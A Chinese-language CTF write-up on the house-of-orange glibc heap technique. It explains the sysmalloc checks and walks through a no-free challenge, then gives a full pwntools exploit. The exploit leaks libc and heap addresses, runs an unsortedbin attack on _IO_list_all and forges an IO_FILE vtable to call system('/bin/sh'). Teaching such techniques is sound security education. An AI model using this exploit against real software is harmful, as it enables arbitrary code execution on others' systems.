# houes-of-orange

前言:

在此之前,我们短暂的了解了 IO_FILE。而 houes-of-orange 是一套结合 IO_FILE 的组合拳,威力巨大,但影响版本有限,随说影响范围小,但是学习这种攻击手法,可以让我们对于 IO_FILE 更加熟悉。

漏洞成因

堆溢出写

适用范围

  • 2.23 —— 2.26
  • 没有 free
  • 可以 unsortedbin attack

# 概要:

此攻击是堆与 IO 结合的组合拳,非常的经典。并且攻击中利用 top_chunk 的性质

# 绕过检测:

/*
Otherwise, relay to handle system-dependent cases
*/
else {
      void *p = sysmalloc(nb, av);
      if (p != NULL && __builtin_expect (perturb_byte, 0))
        alloc_perturb (p, bytes);
      return p;
}

此时 ptmalloc 已经不能满足用户申请堆内存的操作,需要执行 sysmalloc 来向系统申请更多的空间。 但是对于堆来说有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中。

if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))
assert((old_top == initial_top(av) && old_size == 0) ||
     ((unsigned long) (old_size) >= MINSIZE &&
      prev_inuse(old_top) &&
      ((unsigned long)old_end & pagemask) == 0));
  • malloc 的尺寸不能大于 mmp_.mmap_threshold

  • 伪造的 size 必须要对齐到内存页

  • size 要大于 MINSIZE (0x10)

  • size 要小于之后申请的 chunk size + MINSIZE (0x10)

  • size 的 prev inuse 位必须为 1

之后就是 IO_FILE 的伪造过程

# 利用思路:

one:

stage1

  • 申请 chunk A ,假设此时的 top_chunksize0xWXYZ
  • A ,溢出修改 top_chunksize0xXYZ (需要满足页对齐的检测条件)
  • 申请一个大于 0xXYZ 大小的 chunk ,此时 top_chunk 会进行 grow ,并将原来的 old top_chunk 释放进入 unsortedbin

stage2

  • 溢出写 A ,修改处于 unsortedbin 中的 old top_chunk ,修改其 size0x61 ,其 bk&_IO_list_all-0x10 ,同时伪造好 IO_FILE 结构
  • 申请非 0x60 大小的 chunk 的时候,首先触发 unsortedbin attack ,将 _IO_list_all 修改为 main_arena+88 ,然后 unsortedbin chunk 会进入到 smallbin ,大小为 0x60 ;接着遍历 unsortedbin 的时候触发了 malloc_printerr ,然后调用链为: malloc_printerr -> libc_message -> abort -> _IO_flush_all_lockp ,调用到伪造的 vtable 里面的函数指针

# 例题:

CTF_Pwn_Game/home-of-orange at main · Yhuanhuan01/CTF_Pwn_Game (github.com)

image-20240715115647333

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]
  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = 0;
      __isoc99_scanf("%d", &v3);
      if ( v3 != 3 )
        break;
      show();
    }
    if ( v3 <= 3 )
    {
      if ( v3 == 1 )
      {
        add();
      }
      else if ( v3 == 2 )
      {
        edit();
      }
    }
  }
}

没有 free ,本能的想到 house-of-orange 的利用

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  _DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF
  *(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
  v1 = 0;
  nbytes[0] = 0;
  puts("Index :");
  __isoc99_scanf("%d", &v1);
  puts("Size :");// 没规定 add 之后 size,可以溢出
  __isoc99_scanf("%d", nbytes);
  if ( nbytes[0] > 0x1000u )
  {
    puts("too large");
    exit(0);
  }
  puts("Content :");
  read(0, *((void **)&chunk_ptr + v1), nbytes[0]);
  return __readfsqword(0x28u) ^ *(_QWORD *)&nbytes[1];
unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("Index :");
  __isoc99_scanf("%d", &v1);
  write(1, *((const void **)&chunk_ptr + v1), 8uLL);// 只能读 8 字节,还是比较的刁钻的
  return __readfsqword(0x28u) ^ v2;
}

进行 house-of-orange 需要 libcbase 和 heapbase,libcbase 好泄露,但是 heapbase 的泄露方法比较的麻烦,需要调整堆风水,将三次 unsortedbin 内的 top_chunk 都放到同一大小的 largebin 链表项内

泄露 libcbase

payload=b'a'*(0x408)+p64(0xbf1)
Add((0x400))
Edi(0,len(payload),payload)
Add(0x1000)
Add(0x400)
show(2)
libc_base = u64(rc(6).ljust(8,b'\0')) - 0x61 - 0x3C4B20 + 16672

将 old_top_chunk 放进 0x480-0x4b0 largebin 内

payload=padding(0x400)+p64(0)+p64(0x4b1)
Edi(2,len(payload),payload)
Add(0X600)

image-20240715121105947

然后用前面的思想再放两个这个 largebin 内

Add(0X500)
payload=b'a'*(0x508)+p64(0x4d1)
Edi(4,len(payload),payload)
Add(0x500)
payload=b'a'*(0x508)+p64(0xaf1)
Edi(5,len(payload),payload)
Add(0x1000)
Add(0X500)
Add(0x5b0)
Add(0x500)
payload=b'a'*(0x508)+p64(0xae1)
Edi(9,len(payload),payload)
Add(0x1000)
Add(0x600)
Add(0x521)

调整堆风水泄露 heapbase

Add(0x4a0)
Add(0x500)
Add(0x500)
Add(0x500)
Add(0x500)
show(13)
heapbase = u64(rc(3).ljust(8,b'\0')) - 0x1ba61

image-20240715121450635

泄露完之后,就进行 FSOP 攻击。需要配合 unsortedbin attach

所以需要再次把 top_chunk 放置到 unsortedbin 内

payload = padding(0x4f8) + p64(0x181)
Add(0x4f8)
Edi(18,len(payload),payload)
Add(0x400)

image-20240715121817321

image-20240715121859179

在索引第 19 个距离处于 unsortedbin 的 chunk 块较近,从这里写起,实现由 unsorted attach 的发起的 FSOP 攻击

p = b'B' * (0x400-0x20)
p += p64(0)
p += p64(0x21)
p += b'B' * 0x10
# fake file
f = b'/bin/sh\x00' # flag overflow arg -> system('/bin/sh')
f += p64(0x61)    # _IO_read_ptr small bin size
#  unsoted bin attack
f += p64(0) # _IO_read_end)
f += p64(io_list_all - 0x10)  # _IO_read_base
#bypass check
# 使 fp->_IO_write_base < fp->_IO_write_ptr 绕过检查
f += p64(0) # _IO_write_base 
f += p64(1) # _IO_write_ptr
f += p64(0) # _IO_write_end
f += p64(0) # _IO_buf_base
f += p64(0) # _IO_buf_end
f += p64(0) # _IO_save_base
f += p64(0) # _IO_backup_base
f += p64(0) # _IO_save_end
f += p64(0) # *_markers
f += p64(0) # *_chain
f += p32(0) # _fileno
f += p32(0) # _flags2
f += p64(1)  # _old_offset
f += p16(2) # ushort _cur_colum;
f += p8(3)  # char _vtable_offset
f += p8(4)  # char _shrotbuf[1]
f += p32(0) # null for alignment
f += p64(0) # _offset
f += p64(6) # _codecvt
f += p64(0) # _wide_data
f += p64(0) # _freeres_list
f += p64(0) # _freeres_buf
f += p64(0) # __pad5
f += p32(0) # _mode 为了绕过检查,fp->mode <=0 ((addr + 0xc8) <= 0)
f += p32(0) # _unused2
p += f
p += p64(0) * 3 # alignment to vtable
p += p64(heapbase + 0x23010+8) # vtable 指向自己
p += p64(0) * 2
p += p64(sys_addr) # _IO_overflow 位置改为 system
Edi(19,len(p),p)

image-20240715122127045

image-20240715122150872

# 完整 exp:

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = './libc-2.23.so'
host, port = "110.40.35.73:33791".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
def Mea(idx):
	sla(b'>\n',str(idx))
def Add(sz,ct=b'a'):
	Mea(1)
	sla(b'Size :\n',str(sz))
	sla(b'Content :\n',ct)
def Edi(idx,sz,ct):
	Mea(2)
	sla(b'Index :\n',str(idx))
	sla(b'Size :\n',str(sz))
	sla(b'Content :\n',ct)
def show(idx):
	Mea(3)
	sla(b'Index :\n',str(idx))
payload=b'a'*(0x408)+p64(0xbf1)
Add((0x400))
Edi(0,len(payload),payload)
Add(0x1000)
Add(0x400)
show(2)
libc_base = u64(rc(6).ljust(8,b'\0')) - 0x61 - 0x3C4B20 + 16672
main_arena = (0x7ffff7bc4b20 - libc_base) + libc_base
io_list_all=libc_base+libc.symbols['_IO_list_all']
sys_addr=libc_base+libc.symbols['system']
payload=padding(0x400)+p64(0)+p64(0x4b1)
Edi(2,len(payload),payload)
Add(0X600)
# debug()
Add(0X500)
payload=b'a'*(0x508)+p64(0x4d1)
Edi(4,len(payload),payload)
Add(0x500)
payload=b'a'*(0x508)+p64(0xaf1)
Edi(5,len(payload),payload)
Add(0x1000)
Add(0X500)
Add(0x5b0)
Add(0x500)
payload=b'a'*(0x508)+p64(0xae1)
Edi(9,len(payload),payload)
Add(0x1000)
Add(0x600)
Add(0x521)
# debug()
Add(0x4a0)
Add(0x500)
Add(0x500)
Add(0x500)
Add(0x500)
show(13)
heapbase = u64(rc(3).ljust(8,b'\0')) - 0x1ba61
lg('main_arena')
lg('heapbase')
lg('libc_base')
# pause()
p = b'B' * (0x400-0x20)
p += p64(0)
p += p64(0x21)
p += b'B' * 0x10
# fake file
f = b'/bin/sh\x00' # flag overflow arg -> system('/bin/sh')
f += p64(0x61)    # _IO_read_ptr small bin size
#  unsoted bin attack
f += p64(0) # _IO_read_end)
f += p64(io_list_all - 0x10)  # _IO_read_base
#bypass check
# 使 fp->_IO_write_base < fp->_IO_write_ptr 绕过检查
f += p64(0) # _IO_write_base 
f += p64(1) # _IO_write_ptr
f += p64(0) # _IO_write_end
f += p64(0) # _IO_buf_base
f += p64(0) # _IO_buf_end
f += p64(0) # _IO_save_base
f += p64(0) # _IO_backup_base
f += p64(0) # _IO_save_end
f += p64(0) # *_markers
f += p64(0) # *_chain
f += p32(0) # _fileno
f += p32(0) # _flags2
f += p64(1)  # _old_offset
f += p16(2) # ushort _cur_colum;
f += p8(3)  # char _vtable_offset
f += p8(4)  # char _shrotbuf[1]
f += p32(0) # null for alignment
f += p64(0) # _offset
f += p64(6) # _codecvt
f += p64(0) # _wide_data
f += p64(0) # _freeres_list
f += p64(0) # _freeres_buf
f += p64(0) # __pad5
f += p32(0) # _mode 为了绕过检查,fp->mode <=0 ((addr + 0xc8) <= 0)
f += p32(0) # _unused2
p += f
p += p64(0) * 3 # alignment to vtable
p += p64(heapbase + 0x23010+8) # vtable 指向自己
p += p64(0) * 2
p += p64(sys_addr) # _IO_overflow 位置改为 system
payload = padding(0x4f8) + p64(0x181)
Add(0x4f8)
Edi(18,len(payload),payload)
Add(0x400)
# debug()
Edi(19,len(p),p)	
# debug()
Mea(1)
sla(b'Size :\n',str(0x1000))
it()

house-of-orange,其实难度不高。但是在影响以后的攻击起到了巨大的作用

参考

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange/

https://blog.wjhwjhn.com/posts/house-of-orange - 学习记录 /

Glibc 堆利用之 house of 系列总结 - roderick - record and learn! (roderickchan.github.io)